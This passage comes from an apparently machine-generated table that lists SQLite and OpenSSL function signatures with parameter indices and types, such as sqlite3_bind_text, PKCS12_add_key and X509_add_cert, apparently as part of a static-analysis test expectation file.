| | sqlite3_blob_write | 1 | const void * | +| (sqlite3_blob *,const void *,int,int) | | sqlite3_blob_write | 2 | int | +| (sqlite3_blob *,const void *,int,int) | | sqlite3_blob_write | 3 | int | +| (sqlite3_blob *,sqlite3_int64) | | sqlite3_blob_reopen | 0 | sqlite3_blob * | +| (sqlite3_blob *,sqlite3_int64) | | sqlite3_blob_reopen | 1 | sqlite3_int64 | +| (sqlite3_blob *,void *,int,int) | | sqlite3_blob_read | 0 | sqlite3_blob * | +| (sqlite3_blob *,void *,int,int) | | sqlite3_blob_read | 1 | void * | +| (sqlite3_blob *,void *,int,int) | | sqlite3_blob_read | 2 | int | +| (sqlite3_blob *,void *,int,int) | | sqlite3_blob_read | 3 | int | +| (sqlite3_context *) | | sqlite3_aggregate_count | 0 | sqlite3_context * | +| (sqlite3_context *) | | sqlite3_context_db_handle | 0 | sqlite3_context * | +| (sqlite3_context *) | | sqlite3_user_data | 0 | sqlite3_context * | +| (sqlite3_context *,const char *,int) | | sqlite3_result_error | 0 | sqlite3_context * | +| (sqlite3_context *,const char *,int) | | sqlite3_result_error | 1 | const char * | +| (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | int | +| (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 0 | sqlite3_context * | +| (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 1 | const void * | +| (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 2 | int | +| (sqlite3_context *,int) | | sqlite3_aggregate_context | 0 | sqlite3_context * | +| (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | int | +| (sqlite3_context *,int) | | sqlite3_result_error_code | 0 | sqlite3_context * | +| (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | int | +| (sqlite3_index_info *) | | sqlite3_vtab_distinct | 0 | sqlite3_index_info * | +| (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 0 | sqlite3_index_info * | +| (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | int | +| (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 0 | sqlite3_index_info * | +| (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 1 | int | +| (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | int | +| (sqlite3_index_info *,int,sqlite3_value **) | | sqlite3_vtab_rhs_value | 0 | sqlite3_index_info * | +| (sqlite3_index_info *,int,sqlite3_value **) | | sqlite3_vtab_rhs_value | 1 | int | +| (sqlite3_index_info *,int,sqlite3_value **) | | sqlite3_vtab_rhs_value | 2 | sqlite3_value ** | +| (sqlite3_intck *) | | sqlite3_intck_message | 0 | sqlite3_intck * | +| (sqlite3_intck *) | | sqlite3_intck_step | 0 | sqlite3_intck * | +| (sqlite3_intck *) | | sqlite3_intck_unlock | 0 | sqlite3_intck * | +| (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 0 | sqlite3_intck * | +| (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | const char * | +| (sqlite3_intck *,const char **) | | sqlite3_intck_error | 0 | sqlite3_intck * | +| (sqlite3_intck *,const char **) | | sqlite3_intck_error | 1 | const char ** | +| (sqlite3_recover *) | | sqlite3_recover_errcode | 0 | sqlite3_recover * | +| (sqlite3_recover *) | | sqlite3_recover_errmsg | 0 | sqlite3_recover * | +| (sqlite3_recover *) | | sqlite3_recover_finish | 0 | sqlite3_recover * | +| (sqlite3_recover *) | | sqlite3_recover_run | 0 | sqlite3_recover * | +| (sqlite3_recover *) | | sqlite3_recover_step | 0 | sqlite3_recover * | +| (sqlite3_recover *,int,void *) | | sqlite3_recover_config | 0 | sqlite3_recover * | +| (sqlite3_recover *,int,void *) | | sqlite3_recover_config | 1 | int | +| (sqlite3_recover *,int,void *) | | sqlite3_recover_config | 2 | void * | +| (sqlite3_stmt *) | | sqlite3_bind_parameter_count | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_column_count | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_data_count | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_db_handle | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_expanded_sql | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_finalize | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_reset | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_sql | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_step | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_stmt_isexplain | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_stmt_readonly | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | const char * | +| (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_blob | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_bytes | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_decltype | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_double | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_int | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_int64 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_name | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_name16 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_text | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_text16 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_type | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_value | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | int | +| (sqlite3_stmt *,int,const char *,int,..(*)(..)) | | sqlite3_bind_text | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const char *,int,..(*)(..)) | | sqlite3_bind_text | 1 | int | +| (sqlite3_stmt *,int,const char *,int,..(*)(..)) | | sqlite3_bind_text | 2 | const char * | +| (sqlite3_stmt *,int,const char *,int,..(*)(..)) | | sqlite3_bind_text | 3 | int | +| (sqlite3_stmt *,int,const char *,int,..(*)(..)) | | sqlite3_bind_text | 4 | ..(*)(..) | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 1 | int | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 2 | const char * | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 3 | sqlite3_uint64 | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 4 | ..(*)(..) | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 5 | unsigned char | +| (sqlite3_stmt *,int,const sqlite3_value *) | | sqlite3_bind_value | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const sqlite3_value *) | | sqlite3_bind_value | 1 | int | +| (sqlite3_stmt *,int,const sqlite3_value *) | | sqlite3_bind_value | 2 | const sqlite3_value * | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_blob | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_blob | 1 | int | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_blob | 2 | const void * | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_blob | 3 | int | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_blob | 4 | ..(*)(..) | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_text16 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_text16 | 1 | int | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_text16 | 2 | const void * | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_text16 | 3 | int | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_text16 | 4 | ..(*)(..) | +| (sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..)) | | sqlite3_bind_blob64 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..)) | | sqlite3_bind_blob64 | 1 | int | +| (sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..)) | | sqlite3_bind_blob64 | 2 | const void * | +| (sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..)) | | sqlite3_bind_blob64 | 3 | sqlite3_uint64 | +| (sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..)) | | sqlite3_bind_blob64 | 4 | ..(*)(..) | +| (sqlite3_stmt *,int,double) | | sqlite3_bind_double | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,double) | | sqlite3_bind_double | 1 | int | +| (sqlite3_stmt *,int,double) | | sqlite3_bind_double | 2 | double | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 1 | int | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | int | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 1 | int | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | int | +| (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 1 | int | +| (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | int | +| (sqlite3_stmt *,int,sqlite3_int64,sqlite_int64) | | sqlite3_bind_int64 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,sqlite3_int64,sqlite_int64) | | sqlite3_bind_int64 | 1 | int | +| (sqlite3_stmt *,int,sqlite3_int64,sqlite_int64) | | sqlite3_bind_int64 | 2 | sqlite3_int64 | +| (sqlite3_stmt *,int,sqlite3_int64,sqlite_int64) | | sqlite3_bind_int64 | 3 | sqlite_int64 | +| (sqlite3_stmt *,int,sqlite3_uint64) | | sqlite3_bind_zeroblob64 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,sqlite3_uint64) | | sqlite3_bind_zeroblob64 | 1 | int | +| (sqlite3_stmt *,int,sqlite3_uint64) | | sqlite3_bind_zeroblob64 | 2 | sqlite3_uint64 | +| (sqlite3_stmt *,int,void *,const char *,..(*)(..)) | | sqlite3_bind_pointer | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,void *,const char *,..(*)(..)) | | sqlite3_bind_pointer | 1 | int | +| (sqlite3_stmt *,int,void *,const char *,..(*)(..)) | | sqlite3_bind_pointer | 2 | void * | +| (sqlite3_stmt *,int,void *,const char *,..(*)(..)) | | sqlite3_bind_pointer | 3 | const char * | +| (sqlite3_stmt *,int,void *,const char *,..(*)(..)) | | sqlite3_bind_pointer | 4 | ..(*)(..) | +| (sqlite3_stmt *,sqlite3_stmt *) | | sqlite3_transfer_bindings | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,sqlite3_stmt *) | | sqlite3_transfer_bindings | 1 | sqlite3_stmt * | +| (sqlite3_str *) | | sqlite3_str_errcode | 0 | sqlite3_str * | +| (sqlite3_str *) | | sqlite3_str_finish | 0 | sqlite3_str * | +| (sqlite3_str *) | | sqlite3_str_length | 0 | sqlite3_str * | +| (sqlite3_str *) | | sqlite3_str_value | 0 | sqlite3_str * | +| (sqlite3_str *,const char *) | | sqlite3_str_appendall | 0 | sqlite3_str * | +| (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | const char * | +| (sqlite3_str *,const char *,int) | | sqlite3_str_append | 0 | sqlite3_str * | +| (sqlite3_str *,const char *,int) | | sqlite3_str_append | 1 | const char * | +| (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | int | +| (sqlite3_str *,const char *,va_list) | | sqlite3_str_vappendf | 0 | sqlite3_str * | +| (sqlite3_str *,const char *,va_list) | | sqlite3_str_vappendf | 1 | const char * | +| (sqlite3_str *,const char *,va_list) | | sqlite3_str_vappendf | 2 | va_list | +| (sqlite3_str *,int,char) | | sqlite3_str_appendchar | 0 | sqlite3_str * | +| (sqlite3_str *,int,char) | | sqlite3_str_appendchar | 1 | int | +| (sqlite3_str *,int,char) | | sqlite3_str_appendchar | 2 | char | +| (sqlite3_value *) | | sqlite3_value_blob | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_bytes | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_bytes16 | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_double | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_encoding | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_frombind | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_int | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_int64 | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_numeric_type | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_subtype | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_text | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_text16 | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_text16be | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_text16le | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_type | 0 | sqlite3_value * | +| (sqlite3_value *,const char *) | | sqlite3_value_pointer | 0 | sqlite3_value * | +| (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | const char * | +| (sqlite3_value *,sqlite3_value **) | | sqlite3_vtab_in_first | 0 | sqlite3_value * | +| (sqlite3_value *,sqlite3_value **) | | sqlite3_vtab_in_first | 1 | sqlite3_value ** | +| (sqlite3_value *,sqlite3_value **) | | sqlite3_vtab_in_next | 0 | sqlite3_value * | +| (sqlite3_value *,sqlite3_value **) | | sqlite3_vtab_in_next | 1 | sqlite3_value ** | +| (sqlite3expert *) | | sqlite3_expert_count | 0 | sqlite3expert * | +| (sqlite3expert *,char **) | | sqlite3_expert_analyze | 0 | sqlite3expert * | +| (sqlite3expert *,char **) | | sqlite3_expert_analyze | 1 | char ** | +| (sqlite3expert *,const char *,char **) | | sqlite3_expert_sql | 0 | sqlite3expert * | +| (sqlite3expert *,const char *,char **) | | sqlite3_expert_sql | 1 | const char * | +| (sqlite3expert *,const char *,char **) | | sqlite3_expert_sql | 2 | char ** | +| (sqlite3expert *,int,int) | | sqlite3_expert_report | 0 | sqlite3expert * | +| (sqlite3expert *,int,int) | | sqlite3_expert_report | 1 | int | +| (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | int | +| (stack_st_ASN1_UTF8STRING *) | | OSSL_CMP_ITAV_new0_certProfile | 0 | stack_st_ASN1_UTF8STRING * | +| (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 0 | stack_st_ASN1_UTF8STRING * | +| (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 1 | const char * | +| (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | int | +| (stack_st_OPENSSL_STRING *,const OSSL_PARAM *) | | app_params_new_from_opts | 0 | stack_st_OPENSSL_STRING * | +| (stack_st_OPENSSL_STRING *,const OSSL_PARAM *) | | app_params_new_from_opts | 1 | const OSSL_PARAM * | +| (stack_st_OSSL_CMP_CRLSTATUS *) | | OSSL_CMP_ITAV_new0_crlStatusList | 0 | stack_st_OSSL_CMP_CRLSTATUS * | +| (stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_push0_stack_item | 0 | stack_st_OSSL_CMP_ITAV ** | +| (stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_push0_stack_item | 1 | OSSL_CMP_ITAV * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *) | | PKCS12_add_safe | 0 | stack_st_PKCS7 ** | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *) | | PKCS12_add_safe | 1 | stack_st_PKCS12_SAFEBAG * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *) | | PKCS12_add_safe | 2 | int | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *) | | PKCS12_add_safe | 3 | int | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *) | | PKCS12_add_safe | 4 | const char * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 0 | stack_st_PKCS7 ** | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 1 | stack_st_PKCS12_SAFEBAG * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 2 | int | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 3 | int | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 4 | const char * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 5 | OSSL_LIB_CTX * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 6 | const char * | +| (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 0 | stack_st_PKCS7 * | +| (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | int | +| (stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safes_ex | 0 | stack_st_PKCS7 * | +| (stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safes_ex | 1 | int | +| (stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safes_ex | 2 | OSSL_LIB_CTX * | +| (stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safes_ex | 3 | const char * | +| (stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7data | 0 | stack_st_PKCS12_SAFEBAG * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 0 | stack_st_PKCS12_SAFEBAG ** | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 1 | EVP_PKEY * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 2 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 3 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 4 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 5 | const char * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 0 | stack_st_PKCS12_SAFEBAG ** | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 1 | EVP_PKEY * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 2 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 3 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 4 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 5 | const char * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 6 | OSSL_LIB_CTX * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 7 | const char * | +| (stack_st_PKCS12_SAFEBAG **,X509 *) | | PKCS12_add_cert | 0 | stack_st_PKCS12_SAFEBAG ** | +| (stack_st_PKCS12_SAFEBAG **,X509 *) | | PKCS12_add_cert | 1 | X509 * | +| (stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int) | | PKCS12_add_secret | 0 | stack_st_PKCS12_SAFEBAG ** | +| (stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int) | | PKCS12_add_secret | 1 | int | +| (stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int) | | PKCS12_add_secret | 2 | const unsigned char * | +| (stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int) | | PKCS12_add_secret | 3 | int | +| (stack_st_SCT **,const unsigned char **,long) | | d2i_SCT_LIST | 0 | stack_st_SCT ** | +| (stack_st_SCT **,const unsigned char **,long) | | d2i_SCT_LIST | 1 | const unsigned char ** | +| (stack_st_SCT **,const unsigned char **,long) | | d2i_SCT_LIST | 2 | long | +| (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 0 | stack_st_SCT ** | +| (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 1 | const unsigned char ** | +| (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 2 | size_t | +| (stack_st_SSL_COMP *) | | SSL_COMP_set0_compression_methods | 0 | stack_st_SSL_COMP * | +| (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 0 | stack_st_SSL_COMP * | +| (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | int | +| (stack_st_X509 *) | | X509_chain_up_ref | 0 | stack_st_X509 * | +| (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 0 | stack_st_X509 ** | +| (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 1 | X509 * | +| (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | int | +| (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 0 | stack_st_X509 ** | +| (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 1 | stack_st_X509 * | +| (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | int | +| (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 0 | stack_st_X509 * | +| (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 1 | ASIdentifiers * | +| (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | int | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 0 | stack_st_X509 * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 1 | BIO * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 2 | const EVP_CIPHER * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 3 | int | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 4 | OSSL_LIB_CTX * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 5 | const char * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 0 | stack_st_X509 * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 1 | BIO * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 2 | const EVP_CIPHER * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 3 | unsigned int | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 4 | OSSL_LIB_CTX * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 5 | const char * | +| (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 0 | stack_st_X509 * | +| (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 1 | IPAddrBlocks * | +| (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | int | +| (stack_st_X509 *,X509 *) | | STACK_OF_X509_push1 | 0 | stack_st_X509 * | +| (stack_st_X509 *,X509 *) | | STACK_OF_X509_push1 | 1 | X509 * | +| (stack_st_X509 *,X509 *,int) | | X509_add_cert | 0 | stack_st_X509 * | +| (stack_st_X509 *,X509 *,int) | | X509_add_cert | 1 | X509 * | +| (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | int | +| (stack_st_X509 *,const X509_NAME *) | | X509_find_by_subject | 0 | stack_st_X509 * | +| (stack_st_X509 *,const X509_NAME *) | | X509_find_by_subject | 1 | const X509_NAME * | +| (stack_st_X509 *,const X509_NAME *,const ASN1_INTEGER *) | | X509_find_by_issuer_and_serial | 0 | stack_st_X509 * | +| (stack_st_X509 *,const X509_NAME *,const ASN1_INTEGER *) | | X509_find_by_issuer_and_serial | 1 | const X509_NAME * | +| (stack_st_X509 *,const X509_NAME *,const ASN1_INTEGER *) | | X509_find_by_issuer_and_serial | 2 | const ASN1_INTEGER * | +| (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 0 | stack_st_X509 * | +| (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 1 | stack_st_X509 * | +| (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | int | +| (stack_st_X509_ALGOR **) | | CMS_add_standard_smimecap | 0 | stack_st_X509_ALGOR ** | +| (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 0 | stack_st_X509_ALGOR ** | +| (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 1 | int | +| (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | int | +| (stack_st_X509_ALGOR *,int,int) | | 